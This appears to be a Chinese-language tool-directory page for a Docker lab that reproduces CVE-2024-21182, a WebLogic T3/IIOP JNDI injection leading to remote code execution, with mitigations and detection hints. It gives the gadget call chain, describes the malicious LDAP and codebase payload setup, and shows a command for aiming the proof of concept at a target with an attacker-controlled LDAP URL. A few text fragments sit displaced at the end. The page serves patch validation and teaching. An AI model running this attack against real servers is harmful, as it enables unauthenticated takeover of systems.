Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/dinosn/cve-2024-21182
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdinosn/cve-2024-21182

CVE-2024-21182

可复现的Docker实验室,用于CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI注入,导致未认证的RCE。通过一条命令validate.sh进行授权安全测试和补丁验证。

查看仓库
3483个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI注入 → 远程代码执行(实验环境)

一个自包含、单命令的Docker实验环境,用于复现并验证 Oracle WebLogic Server OpaqueReference JNDI注入漏洞家族(CVE-2024-21182,CVE-2023-21839的补丁绕过)并实现未经身份验证的远程代码执行。

⚠️ 仅限授权的安全研究、教育和补丁验证使用。 参见免责声明。仅针对此实验环境或您拥有的系统运行。


本实验演示的内容

CVE-2024-21182 是 Oracle WebLogic Server Core 组件中的一个未经身份验证的漏洞,可通过 T3 / IIOP 协议(默认端口 7001)利用。它允许攻击者将精心构造的“引用”对象绑定到服务器的 JNDI 树中,并触发对攻击者控制的 URL 进行服务器端 JNDI 查找 —— 经典的 JNDI 注入,进而升级为远程代码执行。

CVECVE-2024-21182
产品Oracle WebLogic Server (Core)
受影响版本(Oracle 官方)12.2.1.4.0, 14.1.1.0.0
修复版本Oracle 2024年10月 关键补丁更新
攻击向量网络,未经身份验证,T3/IIOP (端口 7001)
CISA KEV是(已知在野利用)
分类CVE-2023-21839 的补丁绕过(OpaqueReference JNDI 注入)

根本原因

WebLogic 引用对象在 lookup() 期间由 ObjectFactory 服务器端解析,该工厂对攻击者提供的 URL 执行嵌套 JNDI 查找:

root@kitploit:~
weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← 攻击者控制,服务器端

CVE-2023-21839 通过 weblogic.jndi.internal.ForeignOpaqueReference 触发了此路径,Oracle 随后对其进行了防护。CVE-2024-21182 绕过了该防护,通过 weblogic.ejb.container.internal.AggregatableOpaqueReference 到达相同的外部查找,其私有 referent 字段被反射设置为 weblogic.application.naming.MessageDestinationReference。


⚠️ 重要提示:实验环境镜像 vs. CVE 所列版本

本实验环境使用 vulhub/weblogic:12.2.1.3-2018(WebLogic 12.2.1.3,捆绑 JDK 1.8.0_151),因为这是唯一可免费分发的存在漏洞的 WebLogic 镜像——CVE-2024-21182 正式列出的版本(12.2.1.4.0 / 14.1.1.0.0)需要 Oracle 许可证,无法在此发布。

以下为如实说明的后果:

  • 本实验环境忠实地复现了 OpaqueReference JNDI注入→远程代码执行的漏洞类别,并使用精确的 CVE-2024-21182 利用类(AggregatableOpaqueReference + MessageDestinationReference)进行演练。
  • 它不能证明补丁绕过属性本身——12.2.1.3 版本早于 CVE-2023-21839 的黑名单,因此该镜像上没有需要绕过的补丁。要演示特定的绕过行为,您需要一个已打补丁至 2024年10月CPU之前的授权 12.2.1.4 构建版本。
  • RCE 部分:在此可以工作,因为 JDK 1.8.0_151 早于 8u191,并且默认设置 com.sun.jndi.ldap.object.trustURLCodebase=true(允许远程代码基类加载)。在较新的 JDK 上,注入仍然触发(SSRF),但 RCE 需要 WebLogic 类路径上已有的 gadget,而非远程代码基。

快速开始

要求:Docker + Docker Compose v2。约 3GB 镜像拉取。在 Apple Silicon 上,镜像以 linux/amd64 仿真运行(冷启动较慢,需 2–5 分钟)。

root@kitploit:~
git clone <此仓库>
cd CVE-2024-21182-lab
docker compose up -d        # 启动:weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # 等待启动,触发漏洞,输出 PASS/FAIL

./validate.sh 预期的尾部输出:

root@kitploit:~
[+] RCE 确认 — 命令已在 WebLogic 容器内执行,结果为:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] 已复现 CVE-2024-21182(未经身份验证的 T3 JNDI 注入 -> 远程代码执行)

清理:

root@kitploit:~
docker compose down

工作原理(活动部件)

root@kitploit:~
                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC 客户端  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (在 weblogic     bind() + lookup()     (受害者)    服务器端 JNDI 查找       返回 Reference
  容器内)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                          加载并实例化 → static{} 运行 `id`
  • poc/CVE_2024_21182.java — T3 客户端。构造恶意的 AggregatableOpaqueReference,执行 bind(),然后通过 lookup() 触发服务器端解析。参数化:<t3-host:port> <ldap-url>。它在 validate.sh 中在 WebLogic 容器内编译,因为 gadget 类位于 WebLogic 完整模块集中(而非可重新分发的瘦客户端),因此这里不提供 Oracle jar。
  • exploit/ldap_server.py — 极简的恶意 LDAP 服务器,返回一个 JNDI Reference 以及一个托管工厂类的 HTTP 服务器。在 attacker 容器中运行,WebLogic 可通过服务名 attacker 访问。
  • exploit/Exploit.java / Exploit.class — 有效载荷工厂(Java 8 字节码)。其静态初始化器运行 id / 并将输出写入受害容器内的 。设计上无害——可编辑它并运行 来更改命令。

你将会看到的 ClassCastException (Exploit cannot be cast to ObjectFactory) 是预期且无关紧要的——它发生在静态初始化器(有效载荷)已经执行之后。


验证已修补/真实目标

将 PoC 指向任何你有权测试的 T3 端点:

root@kitploit:~
# 从拥有 WebLogic 瘦客户端的主机内,或修改 validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
  • 注入触发(观察到出站 LDAP),但无 RCE → JDK 设置了 trustURLCodebase=false;你仍然拥有 SSRF,并且通过类路径 gadget 仍可能实现 RCE。
  • 无任何触发 → OpaqueReference 路径已修补(已应用 2024年10月 CPU)。

缓解措施

  • 打补丁 — 应用 Oracle 2024年10月关键补丁更新。
  • 网络 — 使用 WebLogic 连接过滤器(weblogic.security.net.ConnectionFilterImpl)和主机防火墙限制 T3/IIOP(7001)。
  • JDK — 保持 com.sun.jndi.ldap.object.trustURLCodebase=false(当前 JDK 的默认设置);会阻断远程代码基的 RCE 部分(但不会阻断注入部分)。
  • 检测 — 从 WebLogic JVM 到非白名单主机的出站 LDAP/RMI/DNS;WebLogic 进程意外的子进程;T3 bind 操作中对 *OpaqueReference 类型的绑定。

致谢与参考

  • 公开 PoC gadget:k4it0k1d/CVE-2024-21182
  • 存在漏洞的镜像:vulhub(weblogic/CVE-2023-21839)
  • 背景:Oracle CPU 公告;CVE-2023-21839 研究(WebLogic OpaqueReference 系列)

免责声明

本项目发布用于授权安全测试、防御验证和教育。存在漏洞的软件运行于隔离的 Docker 实验环境中。不要针对你不拥有或未被明确授权测试的系统使用这些技术。作者不对滥用行为承担任何责任。参见 LICENSE。

下载工具
uname -a
/tmp/RCE_PROOF_CVE_2024_21182
exploit/build.sh